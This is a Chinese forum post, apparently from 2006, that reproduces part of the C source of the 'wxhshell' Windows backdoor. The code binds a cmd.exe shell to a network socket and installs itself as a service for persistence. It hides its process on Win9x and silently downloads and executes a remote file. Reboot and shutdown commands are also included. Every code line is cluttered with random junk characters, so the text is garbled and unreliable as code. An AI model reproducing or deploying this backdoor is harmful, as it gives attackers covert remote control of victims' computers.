  send(wsh,msg_ws_down,strlen(msg_ws_down),0); z \?UGxu}  
  if(DownloadFile(cmd,wsh)) fnH3 CE  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); G?V"SU.  
  else QD<eQsvV  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jQtSwVDr  
  } d5U; $q{o  
  else { WD?Jk9_F  
M#0 @X  
    switch(cmd[0]) { 7U:=~7GH  
  6[==BbZ  
  // 帮助 ,d 7Z  
  case '?': { +8^_D?*\n  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^g!B.ll`  
    break; vg^Myn   
  } #/WAzYt{  
  // 安装 A8dI:E+$  
  case 'i': { 8wF#e\Va0  
    if(Install()) &=-PRza%j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o'qm82* =  
    else vR]mSX3)?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u@D .i4U  
    break; k!E"wJkpz  
    } fI11dE9&?[  
  // 卸载 $!`L"szqD*  
  case 'r': { 5G? .T?  
    if(Uninstall()) W/v|8-gcK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `s}BXKIv}  
    else "T*I|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F!~l MpuE  
    break; )vHi|~(   
    } V} bM!5 H  
  // 显示 wxhshell 所在路径 R=35 7^[R  
  case 'p': { %N{sD[^  
    char svExeFile[MAX_PATH]; !0dX@V'r  
    strcpy(svExeFile,"\n\r"); @)z*BmP  
      strcat(svExeFile,ExeFile); @+dHF0aXd  
        send(wsh,svExeFile,strlen(svExeFile),0); 3'@&c?F ye  
    break; #Wx=v$"  
    } OROqT~6G  
  // 重启 ylkqhs&  
  case 'b': { d;g-3Pf  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (9z|a ,  
    if(Boot(REBOOT))  ^Fp=y,D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,o)4p\nV  
    else { VR v02m5  
    closesocket(wsh); AM?Ec1S #a  
    ExitThread(0); MOLO3?H(  
    } ji##$xC  
    break; A`C-sD >  
    } _m7c o :  
  // 关机 {]M>Y%j48  
  case 'd': { .93S>U<_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ma_=-cD  
    if(Boot(SHUTDOWN)) -aN":?8(G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (j=DD6fC  
    else { Ps7_-cH  
    closesocket(wsh); 0s!N@ ,T  
    ExitThread(0); -eq =4N=s  
    } TF)8qHy! u  
    break; TMY{OI8a  
    } 2+&R" #I  
  // 获取shell *2#FRA#q  
  case 's': { `uhL61cMp  
    CmdShell(wsh); ] ?9t-  
    closesocket(wsh); 7%YYr^d  
    ExitThread(0); kDg{ >mf  
    break; IrUi E q  
  } V^ Y*xZ  
  // 退出 4[xA- \  
  case 'x': { tgfM:kzw  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .f+9 A>  
    CloseIt(wsh); #Wq#beBb  
    break; -sx-7LKi  
    } h^v9|~ZJ'7  
  // 离开 gTuX *7w  
  case 'q': { ,0FwBK  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); j^rYFS w:Q  
    closesocket(wsh); \ bC}&Iz6  
    WSACleanup(); H}(=?}+  
    exit(1); 6l<1A$BQ  
    break; QWKs[yfdo  
        } (}6wAfGo  
  } $xQ"PJ2  
  } N]V/83_  
G1p43  
  // 提示信息 *|@+rbjVC  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _,t&C7Yf;  
} BZ2nDW*%  
  } l~4_s/  
5a8JVDLX^  
  return; "h QV9 [2\  
} _jiQL66pY  
dEL3?-;'  
// shell模块句柄 F ZM2   
int CmdShell(SOCKET sock) l&vm[3  
{ K* 0 aXr?  
STARTUPINFO si; $+0=GN  
ZeroMemory(&si,sizeof(si)); lGl[^ 0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; OuMco+C  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >7"$}5d  
PROCESS_INFORMATION ProcessInfo; E`Q;DlXv>  
char cmdline[]="cmd"; 7&=-a|k~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); p| Vmdnb  
  return 0; o?;F.W_  
} `8mD7xsg$  
RfD{g"]y  
// 自身启动模式 %3ou^mcj  
int StartFromService(void) 7s0)3HR}  
{ F\zkyk 4  
typedef struct ~6\& y  
{ q;CayN'I  
  DWORD ExitStatus; =U=e?AOG2  
  DWORD PebBaseAddress; vYYS .ve  
  DWORD AffinityMask; ?s1u#'aO  
  DWORD BasePriority; )3BR[*u*  
  ULONG UniqueProcessId; v<{wA`'R+  
  ULONG InheritedFromUniqueProcessId; dMey/A/VYt  
}   PROCESS_BASIC_INFORMATION; J'I1,5(  
cBg,k[,  
PROCNTQSIP NtQueryInformationProcess; ^fFtI?.6jI  
A4~D#V  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; pESB Il  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \Oi5=,  
pg} ~vb"  
  HANDLE             hProcess; =Jsg{vI  
  PROCESS_BASIC_INFORMATION pbi; ,Wz[tYL*  
A/ 7r:yO  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); gJ<@;O8zu0  
  if(NULL == hInst ) return 0; l*F!~J3  
HXD*zv@ *6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #citwMW  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l,imT$u  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); w{_e"N  
+A]&AkTw  
  if (!NtQueryInformationProcess) return 0; #[gcg]6c  
WF+bN#YJ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); B rez&3[  
  if(!hProcess) return 0; 8O"x;3I9  
kHt!S9r  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &:;/]cwj  
H arFo  
  CloseHandle(hProcess); 3X88x-3  
DQ}_9?3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @4G.(zW  
if(hProcess==NULL) return 0; r24\DvS  
ZcUh[5:|  
HMODULE hMod; V-?sek{;  
char procName[255]; P@gu~!  
unsigned long cbNeeded; 8+*g4=ws  
]&3s6{R  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *%ed;>6:Q  
 :pA=V  
  CloseHandle(hProcess); g28S3 '2  
8L]gQ g  
if(strstr(procName,"services")) return 1; // 以服务启动 <7vIh0  
,Hik(22  
  return 0; // 注册表启动 ""25ay  
} E[SV*1)  
4@/q_*3o  
// 主模块 H B::0l<  
int StartWxhshell(LPSTR lpCmdLine) sDzD 8as  
{ DBj;P|L_  
  SOCKET wsl; _4~ng#M*  
BOOL val=TRUE; gp#bQ  
  int port=0; 4f@havFIJ  
  struct sockaddr_in door; J]n7| L  
u\Nw:Uu i  
  if(wscfg.ws_autoins) Install(); "'Q"(S  
kr/1Dsr4  
port=atoi(lpCmdLine); {u(}ED#p  
x?k  
if(port<=0) port=wscfg.ws_port; A^T~@AO  
SX_kr^#  
  WSADATA data; <6d{k[7fz)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +XU$GSw3(  
xWC\954  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   1jZDw~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "}]GQt< F  
  door.sin_family = AF_INET; vSyi}5D  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); NPB,q& Th  
  door.sin_port = htons(port); 8I5VrT  
|1_$! p  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { w*&n(zJF>  
closesocket(wsl); H3p4,Y}'#  
return 1; +P> A P&  
} X]+(c_i:hC  
*sc0,'0  
  if(listen(wsl,2) == INVALID_SOCKET) { wzNt c)~i  
closesocket(wsl); Q7 0**qm  
return 1; >/kPnpJ  
} H 'WFORso[  
  Wxhshell(wsl); g6[/F-3Qlf  
  WSACleanup(); Ovl?j&8  
SU_] C+  
return 0; [T}%q"<  
%#S"~)  
} r|JiGj^om  
g|GvJ)VX  
// 以NT服务方式启动 + e5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]AFM Y<mB  
{ brYYuN|Vc  
DWORD   status = 0; J^s<x#C  
  DWORD   specificError = 0xfffffff; M f%^\g.}  
.(MbP  
  serviceStatus.dwServiceType     = SERVICE_WIN32; i#M a -0#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Y1U"HqNl*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; t9f4P^V`  
  serviceStatus.dwWin32ExitCode     = 0; 0aTEJX$iZ  
  serviceStatus.dwServiceSpecificExitCode = 0; rHC+nou  
  serviceStatus.dwCheckPoint       = 0; Q C\,  
  serviceStatus.dwWaitHint       = 0; OIXAjU*N  
RAv RNd  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (N~zJ .o  
  if (hServiceStatusHandle==0) return; 8Y{}p[UFT  
0bnVIG2q  
status = GetLastError(); C%95~\Ds  
  if (status!=NO_ERROR) +}`O^#<qLX  
{ <QkN}+B=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Fl#VKU3h  
    serviceStatus.dwCheckPoint       = 0; ERX|cc  
    serviceStatus.dwWaitHint       = 0; !5E%W[  
    serviceStatus.dwWin32ExitCode     = status; J1c&"Oh  
    serviceStatus.dwServiceSpecificExitCode = specificError; b68G&z>   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); V\rIN}7  
    return; f@F^W YQm  
  } `:bvuc(  
~ ];6hxv  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Q#J>vwi=  
  serviceStatus.dwCheckPoint       = 0; >F\rBc&  
  serviceStatus.dwWaitHint       = 0; z2s|.M]&-D  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <mo^Y k3  
} H(%] Os  
_ \v@9Q\  
// 处理NT服务事件,比如:启动、停止 y-)+I<M  
VOID WINAPI NTServiceHandler(DWORD fdwControl) a' >$88tl  
{ +EiUAs~H  
switch(fdwControl) -}N\REXE  
{ }TX'Z?Lq  
case SERVICE_CONTROL_STOP: D|Ihe%w-  
  serviceStatus.dwWin32ExitCode = 0; <R`,zE@t'(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; P/gb+V=g!  
  serviceStatus.dwCheckPoint   = 0; y_7XYT!w  
  serviceStatus.dwWaitHint     = 0; ?{.b9`  
  { 8x^H<y=O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #*>7X>,J  
  } :AqnWy  
  return; g]@R'2:1  
case SERVICE_CONTROL_PAUSE: Cs1%g  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6(<~1{ X%  
  break; ]=86[A-2N  
case SERVICE_CONTROL_CONTINUE: UTK.tg  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;qVEI/  
  break; >;'1k'  
case SERVICE_CONTROL_INTERROGATE: ;@ll  
  break; P=SxiXsr$  
}; 9a~BAH,j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6ImV5^l  
} &;@b&p+  
X!M fJ^)q  
// 标准应用程序主函数 Xv5Ev@T  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Y(I*%=:$  
{ |H+k?C-w  
3]kAb`9[K2  
// 获取操作系统版本 0JZq:hUd  
OsIsNt=GetOsVer(); W-]yKSob  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |E_+*1lq.  
">D(+ xr!)  
  // 从命令行安装 |Qt`p@W  
  if(strpbrk(lpCmdLine,"iI")) Install(); O'& \-j 1  
1(;33),P8  
  // 下载执行文件 YI),q.3X~  
if(wscfg.ws_downexe) { 9 <kkzy  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %yuIXOJ  
  WinExec(wscfg.ws_filenam,SW_HIDE); b1>$sPJ+  
} 4qSS<SqY  
qYu!:xa8  
if(!OsIsNt) { C@?e`=9(  
// 如果时win9x,隐藏进程并且设置为注册表启动 %`T^qh_dE  
HideProc(); h&)vdCCk  
StartWxhshell(lpCmdLine); :jKXKY+T  
} z`r4edk3  
else *}iT6OJ  
  if(StartFromService()) Wn,g!rB^@  
  // 以服务方式启动 | C2.Zay  
  StartServiceCtrlDispatcher(DispatchTable); CIik@O*  
else ;,B@84'  
  // 普通方式启动 +zdq+<9X  
  StartWxhshell(lpCmdLine); piiQ  
98%tws`  
return 0; (B/F6 X;o.  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八